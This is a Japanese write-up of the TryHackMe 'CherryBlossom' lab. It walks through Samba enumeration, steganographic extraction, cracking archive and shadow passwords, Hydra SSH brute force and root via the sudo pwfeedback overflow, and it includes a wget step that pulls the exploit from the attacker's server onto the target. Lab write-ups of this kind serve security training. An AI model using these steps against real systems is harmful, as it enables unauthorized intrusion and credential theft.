DominicBreuker

TryHackMe Writeup: CherryBlossom はじめに この記事は、TryHackMeのwriteupです。 Roomは、CherryBlossom、Difficulty（難易度）はHardです。 このRoomでは、Sambaを起点としたステガノグラフィ解析やsudoの脆弱性による権限昇格について学ぶことができます。 Recon Port Scan Scanned at 2026-09-23 22:24:42 JST for 16s PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 21:ee:30:4f:f8:f7:9f:32:6e:42:95:f2:1a:1a:04:d3 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKc/7PuGrQ4Lxftvthh93ErX7zaSQc1O0jgk/tcmxe9xkcl4psN8ZzUg7ca9yVWxjyyyFQtpqoPi0nUuSRfGSsoBGFYXXipf6uZZ3FSOtgiMVnxKNliFcZ9JHVgAlhsxON/TIcClWgKY5FkjKesWNQFliYD0AG1cT8pDIWVhxIUfD9z7ZBix9otYIcAzoDl2Zn+COX1ueYYEtsm3R0CThm3cSTUdyj43fTXxGSdfE2B5VZ5whnG2dy3mwHUDQJwEdrNfadVEbn4vaMTOHJHGsj9l5MBAcUoK0d+uUI0xi49C67KeOjEXLE3qFaZ3GutNjdk3PqoQCJ9K1bJI7jrSIr | 256 dc:fc:de:d6:ec:43:61:00:54:9b:7c:40:1e:8f:52:c4 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEeAGAJHeiLl1wlePWrIQHmVHJDtgIITUOAmMOHawS2XR772Sui65bkCtSqTzUHhXiKpCnSUnXs1iYDttfmhrmc= | 256 12:81:25:6e:08:64:f6:ef:f5:0c:58:71:18:38:a5:c6 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOHCtTOq99vqGAOB/7Yii6wfllmq7ml6kmEOrPeUurfX 139/tcp open netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn syn-ack Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP) Service Info: Host: UBUNTU; OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: | nbstat: NetBIOS name: UBUNTU, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) | Names: | UBUNTU<00> Flags: <unique><active> | UBUNTU<03> Flags: <unique><active> | UBUNTU<20> Flags: <unique><active> | \x01\x02__MSBROWSE__\x02<01> Flags: <group><active> | WORKGROUP<00> Flags: <group><active> | WORKGROUP<1d> Flags: <unique><active> | WORKGROUP<1e> Flags: <group><active> | Statistics: | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |_ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-time: | date: 2026-09-23T13:24:53 |_ start_date: N/A | smb2-security-mode: | 3.1.1: |_ Message signing enabled but not required | p2p-conficker: | Checking for Conficker.C or higher... | Check 1 (port 52172/tcp): CLEAN (Couldn't establish connection (ERROR)) | Check 2 (port 12450/tcp): CLEAN (Couldn't establish connection (ERROR)) | Check 3 (port 18099/udp): CLEAN (Couldn't receive bytes: ERROR) | Check 4 (port 16720/udp): CLEAN (Couldn't receive bytes: ERROR) |_ 0/4 checks are positive: Host is CLEAN or ports are blocked |_clock-skew: mean: -20m01s, deviation: 34m38s, median: -1s | smb-os-discovery: | OS: Windows 6.1 (Samba 4.7.6-Ubuntu) | Computer name: cherryblossom | NetBIOS computer name: UBUNTU\x00 | Domain name: \x00 | FQDN: cherryblossom |_ System time: 2026-09-23T14:24:53+01:00 上記のポートスキャン結果から調査を進めます。 enum4linux ┌──(root㉿e812734af359)-[/] └─# enum4linux-ng -A [target_ip] ENUM4LINUX - next generation (v1.3.10) ========================== | Target Information | ========================== [*] Target ........... [target_ip] [*] Username ......... '' [*] Random Username .. 'zzbhtfrw' [*] Password ......... '' [*] Timeout .......... 10 second(s) ====================================== | Listener Scan on [target_ip] | ====================================== [*] Checking LDAP [-] Could not connect to LDAP on 389/tcp: connection refused [*] Checking LDAPS [-] Could not connect to LDAPS on 636/tcp: connection refused [*] Checking SMB [+] SMB is accessible on 445/tcp [*] Checking SMB over NetBIOS [+] SMB over NetBIOS is accessible on 139/tcp ============================================================ | NetBIOS Names and Workgroup/Domain for [target_ip] | ============================================================ [+] Got domain/workgroup name: WORKGROUP [+] Full NetBIOS names information: - UBUNTU <00> - B <ACTIVE> Workstation Service - UBUNTU <03> - B <ACTIVE> Messenger Service - UBUNTU <20> - B <ACTIVE> File Server Service - ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser - WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name - WORKGROUP <1d> - B <ACTIVE> Master Browser - WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections - MAC Address = 00-00-00-00-00-00 ========================================== | SMB Dialect Check on [target_ip] | ========================================== [*] Trying on 445/tcp [+] Supported dialects and settings: Supported dialects: SMB 1.0: true SMB 2.0.2: true SMB 2.1: true SMB 3.0: true SMB 3.1.1: true Preferred dialect: SMB 3.0 SMB1 only: false SMB signing required: false ============================================================ | Domain Information via SMB session for [target_ip] | ============================================================ [*] Enumerating via unauthenticated SMB session on 445/tcp [+] Found domain information via SMB NetBIOS computer name: UBUNTU NetBIOS domain name: '' DNS domain: '' FQDN: cherryblossom Derived membership: workgroup member Derived domain: unknown ========================================== | RPC Session Check on [target_ip] | ========================================== [*] Check for anonymous access (null session) [+] Server allows authentication via username '' and password '' [*] Check for guest access [-] Could not establish guest session: STATUS_LOGON_FAILURE ==================================================== | Domain Information via RPC for [target_ip] | ==================================================== [+] Domain: WORKGROUP [+] Domain SID: NULL SID [+] Membership: workgroup member ================================================ | OS Information via RPC for [target_ip] | ================================================ [*] Enumerating via unauthenticated SMB session on 445/tcp [+] Found OS information via SMB [*] Enumerating via 'srvinfo' [+] Found OS information via 'srvinfo' [+] After merging OS information we have the following result: OS: Linux/Unix (Samba 4.7.6-Ubuntu) OS version: '6.1' OS release: '' OS build: '0' Native OS: Windows 6.1 Native LAN manager: Samba 4.7.6-Ubuntu Platform id: '500' Server type: '0x809a03' Server type string: Wk Sv PrQ Unx NT SNT Samba 4.7.6-Ubuntu ====================================== | Users via RPC on [target_ip] | ====================================== [*] Enumerating users via 'querydispinfo' [+] Found 1 user(s) via 'querydispinfo' [*] Enumerating users via 'enumdomusers' [+] Found 1 user(s) via 'enumdomusers' [+] After merging user results we have 1 user(s) total: '1000': username: samba name: '' acb: '0x00000010' description: '' ======================================= | Groups via RPC on [target_ip] | ======================================= [*] Enumerating local groups [+] Found 0 group(s) via 'enumalsgroups domain' [*] Enumerating builtin groups [+] Found 0 group(s) via 'enumalsgroups builtin' [*] Enumerating domain groups [+] Found 0 group(s) via 'enumdomgroups' ======================================= | Shares via RPC on [target_ip] | ======================================= [*] Enumerating shares [+] Found 2 share(s): Anonymous: comment: Anonymous File Server Share type: Disk IPC$: comment: IPC Service (Samba 4.7.6-Ubuntu) type: IPC [*] Testing share Anonymous [+] Mapping: OK, Listing: OK [*] Testing share IPC$ [-] Could not check share: STATUS_OBJECT_NAME_NOT_FOUND ========================================== | Policies via RPC for [target_ip] | ========================================== [*] Trying port 445/tcp [+] Found policy: Domain password information: Password history length: None Minimum password length: 5 Minimum password age: none Maximum password age: 49710 days (136 years) 6 hours 21 minutes Password properties: - DOMAIN_PASSWORD_COMPLEX: false - DOMAIN_PASSWORD_NO_ANON_CHANGE: false - DOMAIN_PASSWORD_NO_CLEAR_CHANGE: false - DOMAIN_PASSWORD_LOCKOUT_ADMINS: false - DOMAIN_PASSWORD_PASSWORD_STORE_CLEARTEXT: false - DOMAIN_PASSWORD_REFUSE_PASSWORD_CHANGE: false Domain lockout information: Lockout observation window: 30 minutes Lockout duration: 30 minutes Lockout threshold: None Domain logoff information: Force logoff time: 49710 days (136 years) 6 hours 21 minutes ========================================== | Printers via RPC for [target_ip] | ========================================== [+] No printers returned (this is not an error) Completed after 29.15 seconds また、上記の結果に基づいて、調査を続けます。 Scanning Samba Enumeration enum4linuxの結果から、Anonymous 共有の中身確認した方が良さそうです。 以下にはjournal.txtというテキストファイルがあることがわかります。 $ smbclient //[target_ip]/Anonymous -N Can't load /opt/homebrew/etc/smb.conf - run testparm to debug it Anonymous login successful Try "help" to get a list of possible commands. smb: \> dir . D 0 Mon Feb 10 09:22:51 2020 .. D 0 Mon Feb 10 02:48:18 2020 journal.txt N 3470998 Mon Feb 10 09:20:53 2020 10253588 blocks of size 1024. 4680524 blocks available smb: \> mget * Get file journal.txt? y getting file \journal.txt of size 3470998 as journal.txt (1699.9 KiloBytes/sec) (average 1699.9 KiloBytes/sec) smb: \> base64でエンコードされた文字列が存在していました。 $ cat journal.txt iVBORw0KGgoAAAANSUhEUgAABQAAAANVCAIAAACoFcTeAAEAAElEQVR42iT9V7DuW3bdh628/vHL +9s5nRxuzt19O6Kb6G40CBJMgkALImWWaVFFPVhlyiWXXZZDWS4nSaRcdllSFUUSBgmagAmg0UAn dO57++Zwzj1hn533/vL3zysvP/TjeJnPo8b8zTng7rW7DjgEgYMAeeigRx5ZZIEFBgLgMYAWUoyg txYg5Lswdc4jAC3yCECtlAWAWotp6DzA3ntoauegN45I7zBFxEiNOAMKxJ4QypZeEUIAMqI2QMiQ 4wICgBzAjhD611//1YP7J5bY3/nbf/etn7/x0QcPYx5QCqE2TSkEcACpRsnK6lILA4B2wipjAMAQ SGwIYsBbDB3SiEAbxZGQjVI2CEIpNaRuEA17nX5EqXZ+Mp+WhTFVeX33qhOiLJZ7KxvXb9xcVtOP Prr3hpx7oK/73q88/1qdVRfHozw2k3o6Bw1mEBbaOgACCIA31ADPbrTXN1a2jRBCGGBASoI4arUp gjAIAlIaIayotXQYcg8dJt4YihBSzBhVNY01pgG6kVnelMJ5AUQFtIGKYgapgxYzSICx1McUe4i9 ....... ....... 実際にデコードし、.pngファイルにします。(iV系は画像形式な気がするから) $ base64 -D -i journal.txt -o journal.png すると、満開な桜の画像が出てきます。 !スクリーンショット 2026-09-23 22.44.20.png Strganography Analysis 画像ファイルなのはわかります。 $ file journal.png journal.png: PNG image data, 1280 x 853, 8-bit/color RGB, non-interlaced $ exiftool journal.png ExifTool Version Number : 13.36 File Name : journal.png Directory : . File Size : 2.6 MB File Modification Date/Time : 2026:09:23 22:43:17+09:00 File Access Date/Time : 2026:09:23 22:44:04+09:00 File Inode Change Date/Time : 2026:09:23 22:44:02+09:00 File Permissions : -rw-r--r-- File Type : PNG File Type Extension : png MIME Type : image/png Image Width : 1280 Image Height : 853 Bit Depth : 8 Color Type : RGB Compression : Deflate/Inflate Filter : Adaptive Interlace : Noninterlaced Image Size : 1280x853 Megapixels : 1.1 $ binwalk journal.png /Users/XXXXXXX/mac-pentest-tools/CherryBlossom/journal.png ---------------------------------------------------------------------------------------------------------------------------------- DECIMAL HEXADECIMAL DESCRIPTION ---------------------------------------------------------------------------------------------------------------------------------- 0 0x0 PNG image, total size: 2569439 bytes ---------------------------------------------------------------------------------------------------------------------------------- Analyzed 1 file for 85 file signatures (187 magic p .....) zstegを用いて、の画像ファイルに隠されたデータを検出・抽出を試みます。 $ zsteg journal.png imagedata .. text: "DDHRDB \"#" b1,b,msb,xy .. text: "^w8)+\nR-K" b2,r,lsb,xy .. text: ")Nn@_^s1<" b2,rgb,msb,xy .. text: "4+.r\tYKyH" b3,r,lsb,xy .. text: "6*Y/U]t5" b3,bgr,msb,xy .. text: "{<HP8@aQ" b4,r,lsb,xy .. text: "(sxhTj06{8" b4,r,msb,xy .. text: "4\#$p$3KF" b4,b,msb,xy .. text: "P2$Me<+7" b4,bgr,msb,xy .. text: "c\n !P20" もう少し深く調べないといけないため、便宜上、以下をDockerで立ち上げます。(MacBookのため) DominicBreuker/stego-toolkit root@3beb2e47a3b2:/data# /opt/scripts/check_png.sh journal.png ################################# ########## PNG CHECKER ########## ################################# Checking file journal.png journal.png: PNG image data, 1280 x 853, 8-bit/color RGB, non-interlaced identify journal.png: Image: journal.png Format: PNG (Portable Network Graphics) Geometry: 1280x853 Class: DirectClass Type: true color Depth: 8 bits-per-pixel component Channel Depths: Red: 8 bits Green: 8 bits Blue: 8 bits Channel Statistics: Red: Minimum: 0.00 (0.0000) Maximum: 65535.00 (1.0000) Mean: 39029.49 (0.5956) Standard Deviation: 18809.08 (0.2870) Green: Minimum: 0.00 (0.0000) Maximum: 65535.00 (1.0000) Mean: 30336.07 (0.4629) ...... ...... ...... ############################## Nothing found... ################################## ########## stegoVeritas ########## ################################## Running Module: SVImage +---------------------------+------+ | Image Format | Mode | +---------------------------+------+ | Portable network graphics | RGB | +---------------------------+------+ Running Module: MultiHandler 何も見えてこなかったので、stegpyでjournal.pngに対して、ZIP相当のファイルが抜けないか検証します。 root@3beb2e47a3b2:/data# stegpy journal.png File _journal.zip succesfully extracted from journal.png root@3beb2e47a3b2:/data# ls _journal.zip extracted.bin journal.png journal.txt stegoVeritas root@3beb2e47a3b2:/data# unzip _journal.zip Archive: _journal.zip file #1: bad zipfile offset (local header sig): 0 すると、ZIPファイルの抽出に成功しますが、Offsetが違うようです。以下のようにおそらく先頭4バイトが壊されています。 root@3beb2e47a3b2:/data# xxd -l 32 _journal.zip 00000000: ffd8 ffd8 1400 0900 0800 3500 4a50 847d ..........5.JP.} 00000010: 980b 3d13 0100 2213 0100 0b00 1c00 4a6f ..=...".......Jo 正しく直します。 !スクリーンショット 2026-09-23 23.08.11.png 保存し、以下のようになっていれば良さそうです。 root@3beb2e47a3b2:/data# xxd -l 16 fixed.zip 00000000: 504b 0304 1400 0900 0800 3500 4a50 847d PK........5.JP.} unzipで解読を試みると、パスワードが必要なようです。 root@3beb2e47a3b2:/data# unzip fixed.zip -d extracted_zip Archive: fixed.zip [fixed.zip] Journal.ctz password: skipping: Journal.ctz incorrect password 以下のようにzip2john → Johnでパスワードクラックを行うと、パスワードを特定することができます。 $ /opt/homebrew/opt/john-jumbo/share/john/zip2john fixed.zip > zip.hash ver 2.0 efh 5455 efh 7875 fixed.zip/Journal.ctz PKZIP Encr: 2b chk, TS_chk, cmplen=70461, decmplen=70434, crc=B987D84 $ john --wordlist=../wordlists/rockyou.txt zip.hash Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Press 'q' or Ctrl-C to abort, almost any other key for status [ZIP_PASSWORD] (fixed.zip/Journal.ctz) 1g 0:00:00:00 DONE (2026-09-23 23:16) 100.0g/s 409600p/s 409600c/s 409600C/s 123456..oooooo Use the "--show" option to display all of the cracked passwords reliably Session completed 実際に解読します。すると、中にはJournal.ctzというファイルが含まれています。 $ cd extracted_zip $ ls Journal.ctz CTZ File Analysis 解析してみると、7-zipであることがわかります。 $ file Journal.ctz Journal.ctz: 7-zip archive data, version 0.4 $ xxd -l 64 Journal.ctz 00000000: 377a bcaf 271c 0004 6e49 6b47 9012 0100 7z..'...nIkG.... 00000010: 0000 0000 7200 0000 0000 0000 05ef 70e3 ....r.........p. 00000020: c5e6 4603 a2a5 1140 8622 f106 b6a7 bad0 ..F....@."...... 00000030: 941b f7fd b42d 9ddf be7b 1cd1 fa03 25c0 .....-...{....%. $ strings -n 8 Journal.ctz | head -n 50 RfeBNdx! vClM.(K"t dO-Nqr)x GISc:3jN |#}.9(BZ Zrd{;co] "{vpb$iZ6 Z*J2!!\| n&zwut+& #q?Fp}/|=( g]f)0~T'T xsg2=uq; wYrZJB<h $ binwalk Journal.ctz /Users/rikuxx/mac-pentest-tools/CherryBlossom/extracted_zip/Journal.ctz ---------------------------------------------------------------------------------------------------------------------------------- DECIMAL HEXADECIMAL DESCRIPTION ---------------------------------------------------------------------------------------------------------------------------------- 0 0x0 7-zip archive data, version 0.4, total size: 70434 bytes ---------------------------------------------------------------------------------------------------------------------------------- Analyzed 1 file for 85 file signatures (187 magic patterns) in 6.0 milliseconds 以下のことから、7zを使いそうです。 root@4b0819b9a32d:/data# 7z l -slt Journal.ctz 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=C,Utf16=off,HugeFiles=on,64 bits,10 CPUs VirtualApple @ 2.50GHz (206C0),ASM,AES-NI) Scanning the drive for archives: 1 file, 70434 bytes (69 KiB) Listing archive: Journal.ctz -- Path = Journal.ctz Type = 7z Physical Size = 70434 Headers Size = 146 Method = LZMA2:16 7zAES Solid = - Blocks = 1 ---------- Path = Journal.ctd Size = 158136 Packed Size = 70288 Modified = 2020-02-10 00:01:42 Attributes = A_ -rw-r--r-- CRC = 488C1CC6 Encrypted = + Method = LZMA2:16 7zAES:19 Block = 0 ただ、これもパスワードがかかっているので、7z2johnでハッシュ化、その後、パスワードクラックすると、パスワードを見つけることができます。 $ /opt/homebrew/opt/john-jumbo/share/john/7z2john.pl Journal.ctz > ctz.hash $ john --wordlist=../../wordlists/rockyou.txt ctz.hash Warning: detected hash type "7z", but the string is also recognized as "7z-opencl" Use the "--format=7z-opencl" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (7z, 7-Zip [SHA256 128/128 ASIMD 4x AES]) Cost 1 (iteration count) is 524288 for all loaded hashes Cost 2 (padding size) is 5 for all loaded hashes Cost 3 (compression type) is 2 for all loaded hashes Press 'q' or Ctrl-C to abort, almost any other key for status [7Z_PASSWORD] (Journal.ctz) 1g 0:00:03:08 DONE (2026-09-23 23:36) 0.005298g/s 29.63p/s 29.63c/s 29.63C/s brownsugar..skeptron Use the "--show" option to display all of the cracked passwords reliably Session completed 解凍すると、中からJournal.ctdというファイルが出てきます。 root@6a7c5526d020:/data# 7z x Journal.ctz 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=C,Utf16=off,HugeFiles=on,64 bits,10 CPUs VirtualApple @ 2.50GHz (206C0),ASM,AES-NI) Scanning the drive for archives: 1 file, 70434 bytes (69 KiB) Extracting archive: Journal.ctz -- Path = Journal.ctz Type = 7z Physical Size = 70434 Headers Size = 146 Method = LZMA2:16 7zAES Solid = - Blocks = 1 Enter password (will not be echoed): Everything is Ok Size: 158136 Compressed: 70434 root@6a7c5526d020:/data# ls Journal.ctd Journal.ctz ctz.hash Journal.ctd は CherryTree のXMLで、日記には「約10000個の独自パスワードリスト cherry-blossom を作った」とあり、実際に内部へ cherry-blossom.list が埋め込まれていることがわかります。また、以下からフラグを取得もできます。 $ strings -n 8 Journal.ctd | head -n 50 <?xml version="1.0" ?> <cherrytree> <node custom_icon_id="0" foreground="" is_bold="False" name="Diary" prog_lang="custom-colors" readonly="False" tags="" ts_creation="1581272606.27" ts_lastsave="1581273335.75" unique_id="1"> <rich_text></rich_text> <node custom_icon_id="0" foreground="" is_bold="False" name="06/02/20" prog_lang="custom-colors" readonly="False" tags="" ts_creation="1581273335.75" ts_lastsave="1581278487.25" unique_id="6"> <rich_text>Dear Diary, My therapist, Anitta, has asked me to start keeping a diary so that she can get a feel for how I'm feeling. I think it's bullshit, but here we are! I didn't want anyone reading you, so I'm keeping you hidden on the samba share. That should do the trick! My mother called today. Still thinks I should have been a lawyer. Yelled at her and she started crying, so there's another thing to feel guilty about. My girlfriend thinks mum's being too controlling, but she also told me off for being harsh. Talk about mixed signals! I have no idea what to do here. Maybe Anitta will be able to help, but we're not there yet. Anyway, I'd better get going. I have an idea for a big project that could revolutionise computer security! Going to start working on it tomorrow. Until next time, -J</rich_text> <node custom_icon_id="0" foreground="" is_bold="False" name="07/02/20" prog_lang="custom-colors" readonly="False" tags="" ts_creation="1581273913.32" ts_lastsave="1581278855.78" unique_id="8"> ..... ..... <node custom_icon_id="0" foreground="" is_bold="False" name="Unusual Occurences" prog_lang="custom-colors" readonly="False" tags="" ts_creation="1581273541.69" ts_lastsave="1581273680.26" unique_id="7"> <rich_text>Found this lying around an old computer my boss gave me to analyse. Couldn't figure it out. Leaving it here. Hopefully all will become clear when I break the encryption: THM{[JOURNAL_FLAG]}</rich_text> </cherrytree> >Journal Flag >Answer: THM{[JOURNAL_FLAG]} Exploitation 次は、このワードリストを使って SSHのユーザー samba に対するパスワード候補を試すのが良さそうです。 まず、ワードリストファイルを作成します。 $ python3 - <<'PY' import re, base64 text = open("Journal.ctd", "r", errors="ignore").read() m = re.search( r'<encoded_png[^>]*filename="cherry-blossom\.list"[^>]*>(.*?)</encoded_png>', text, re.S ) data = base64.b64decode("".join(m.group(1).split())) open("cherry-blossom.list", "wb").write(data) PY enum4linux で見えた samba は Samba 側のアカウント情報でしたが、Journal.ctd の日記内容から導ける SSH ユーザーは lily です。 hydraを用いて、lily に対して、ブルートフォース攻撃を行います。 (.venv) rikuxx@RikunoMacBook-Air extracted_zip % hydra -l lily \ -P cherry-blossom.list \ -t 4 \ -f \ ssh://[targrt_ip] Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-09-24 00:40:27 [DATA] max 4 tasks per 1 server, overall 4 tasks, 9923 login tries (l:1/p:9923), ~2481 tries per task [DATA] attacking ssh://10.49.173.152:22/ [STATUS] 86.00 tries/min, 86 tries in 00:01h, 9837 to do in 01:55h, 4 active [STATUS] 94.67 tries/min, 284 tries in 00:03h, 9639 to do in 01:42h, 4 active [STATUS] 89.14 tries/min, 624 tries in 00:07h, 9299 to do in 01:45h, 4 active [22][ssh] host: [targrt_ip] login: lily password: [LILY_PASSWORD] [STATUS] attack finished for [targrt_ip] (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-09-24 00:47:48 すると、パスワードを取得できたため、SSHログインを試みると、実際にログインできます。 $ ssh lily@[target_ip] The authenticity of host '[target_ip] ([target_ip])' can't be established. ED25519 key fingerprint is: SHA256:XrKcwn0LC8rmK7Sx4lz69HLC9cORBWIcCD6j6d0oabg This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[target_ip]' (ED25519) to the list of known hosts. ** WARNING: connection is not using a post-quantum key exchange algorithm. ** This session may be vulnerable to "store now, decrypt later" attacks. ** The server may need to be upgraded. See https://openssh.com/pq.html lily@[target_ip]'s password: ##################################### ########## Welcome, Lily ########## ##################################### lily@cherryblossom:~$ 以下をみると、passwdとshadowファイルがあるようです。 $ lily@cherryblossom:/var/backups$ ls -l /var/backups/passwd.bak /var/backups/shadow.bak -rw------- 1 root root 2382 Feb 9 2020 /var/backups/passwd.bak -r--r--r-- 1 root shadow 1481 Feb 9 2020 /var/backups/shadow.bak johanというユーザーがいたため、Johnでクラックします。 $ echo 'johan:$6$zV7zbU1b$FomT/aM2UMXqNnqspi57K/hHBG8DkyACiV6ykYmxsZG.vLALyf7kjsqYjwW391j1bue2/.SVm91uno5DUX7ob0:18301:0:99999:7:::' > johan.shadow $ john \ --format=sha512crypt \ --wordlist=./extracted_zip/cherry-blossom.list \ johan.shadow Using default input encoding: UTF-8 Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 ASIMD 2x]) Cost 1 (iteration count) is 5000 for all loaded hashes Press 'q' or Ctrl-C to abort, almost any other key for status [JOHAN_PASSWORD] (johan) 1g 0:00:00:05 DONE (2026-09-24 01:27) 0.1672g/s 1369p/s 1369c/s 1369C/s %^@*peckgan76..#49dq$92oqhe Use the "--show" option to display all of the cracked passwords reliably Session completed 実際に、Johanにログインし、ユーザーフラグを取得できます。 lily@cherryblossom:/var/backups$ su johan Password: johan@cherryblossom:/var/backups$ cd /home johan@cherryblossom:/home$ cd johan johan@cherryblossom:~$ ls user.txt johan@cherryblossom:~$ cat user.txt THM{[USER_FLAG]} >User Flag >Answer: THM{[USER_FLAG]} Privilege Escalation 権限昇格するための情報収集をします。 johan@cherryblossom:~$ sudo -l [sudo] password for johan: Sorry, user johan may not run sudo on cherryblossom. johan@cherryblossom:~$ find / -perm -4000 -type f 2>/dev/null /bin/umount /bin/su /bin/ping /bin/fusermount /bin/mount /bin/ntfs-3g /snap/core/8689/bin/mount /snap/core/8689/bin/ping /snap/core/8689/bin/ping6 /snap/core/8689/bin/su /snap/core/8689/bin/umount /snap/core/8689/usr/bin/chfn /snap/core/8689/usr/bin/chsh /snap/core/8689/usr/bin/gpasswd /snap/core/8689/usr/bin/newgrp /snap/core/8689/usr/bin/passwd /snap/core/8689/usr/bin/sudo /snap/core/8689/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core/8689/usr/lib/openssh/ssh-keysign /snap/core/8689/usr/lib/snapd/snap-confine /snap/core/8689/usr/sbin/pppd /snap/core/8268/bin/mount /snap/core/8268/bin/ping /snap/core/8268/bin/ping6 /snap/core/8268/bin/su /snap/core/8268/bin/umount /snap/core/8268/usr/bin/chfn /snap/core/8268/usr/bin/chsh /snap/core/8268/usr/bin/gpasswd /snap/core/8268/usr/bin/newgrp /snap/core/8268/usr/bin/passwd /snap/core/8268/usr/bin/sudo /snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core/8268/usr/lib/openssh/ssh-keysign /snap/core/8268/usr/lib/snapd/snap-confine /snap/core/8268/usr/sbin/pppd /snap/core18/1668/bin/mount /snap/core18/1668/bin/ping /snap/core18/1668/bin/su /snap/core18/1668/bin/umount /snap/core18/1668/usr/bin/chfn /snap/core18/1668/usr/bin/chsh /snap/core18/1668/usr/bin/gpasswd /snap/core18/1668/usr/bin/newgrp /snap/core18/1668/usr/bin/passwd /snap/core18/1668/usr/bin/sudo /snap/core18/1668/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core18/1668/usr/lib/openssh/ssh-keysign /usr/bin/newgrp /usr/bin/chsh /usr/bin/pkexec /usr/bin/sudo /usr/bin/traceroute6.iputils /usr/bin/gpasswd /usr/bin/arping /usr/bin/passwd /usr/bin/chfn /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper /usr/lib/eject/dmcrypt-get-device /usr/lib/snapd/snap-confine /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/openssh/ssh-keysign /usr/lib/xorg/Xorg.wrap /usr/sbin/pppd johan@cherryblossom:~$ getcap -r / 2>/dev/null /usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep /usr/bin/mtr-packet = cap_net_raw+ep /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep johan@cherryblossom:~$ cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) # ここまでの列挙結果だと、SUID や capabilities より sudo -l 実行時にパスワード入力が * で表示されていることが重要そうです。 CherryBlossom の既知ルートでも、pwfeedback が有効な古い sudo のバッファオーバーフローの可能性があります。 バージョン情報を確認します。 johan@cherryblossom:~$ sudo --version Sudo version 1.8.21p2 Sudoers policy plugin version 1.8.21p2 Sudoers file grammar version 46 Sudoers I/O plugin version 1.8.21p2 sudo 1.8.21p2 は、CVE-2019-18634 に該当し、実際にPoCが公開されています。 saleemrashid/sudo-cve-2019-18634 攻撃者側でexploit.cを作成し、コンパイルします。 そして、ローカルサーバーを立てます。 $ python -m http.server 8000 Serving HTTP on :: port 8000 (http://[::]:8000/) ... ターゲット側へ転送します johan@cherryblossom:~$ wget http://[MY_IP]:8000/exploit --2026-09-23 17:39:19-- http://[MY_IP]:8000/exploit Connecting to [MY_IP]:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 1002080 (979K) [application/octet-stream] Saving to: ‘exploit’ exploit 100%[=============================================================>] 978.59K 1.12MB/s in 0.9s 2026-09-23 17:39:21 (1.12 MB/s) - ‘exploit’ saved [1002080/1002080] 実行権限を付与し、実行することで、権限昇格することができます。 johan@cherryblossom:~$ chmod +x ./exploit johan@cherryblossom:~$ ./exploit [sudo] password for johan: Sorry, try again. # id uid=0(root) gid=0(root) groups=0(root),1001(johan),1003(devs) /rootの中にroot.txtがあるため、ルートフラグを取得することができます。 # cd /root # ls root.txt # cat root.txt THM{[ROOT_FLAG]} >Root Flag >Answer: THM{[ROOT_FLAG]} 終わり 今回は、Sambaを起点としたステガノグラフィ解析やsudoの脆弱性による権限昇格について学日ながら、ラボを攻略しました。 7z2johnやzip2johnって忘れがちになるなと思いました。 Tips 以下には、2john系のハッシュ化ツールスイートを少しまとめましたが、これらにも存在するようです。 !スクリーンショット 2026-10-14 17.32.24.png ご参考になると幸いです。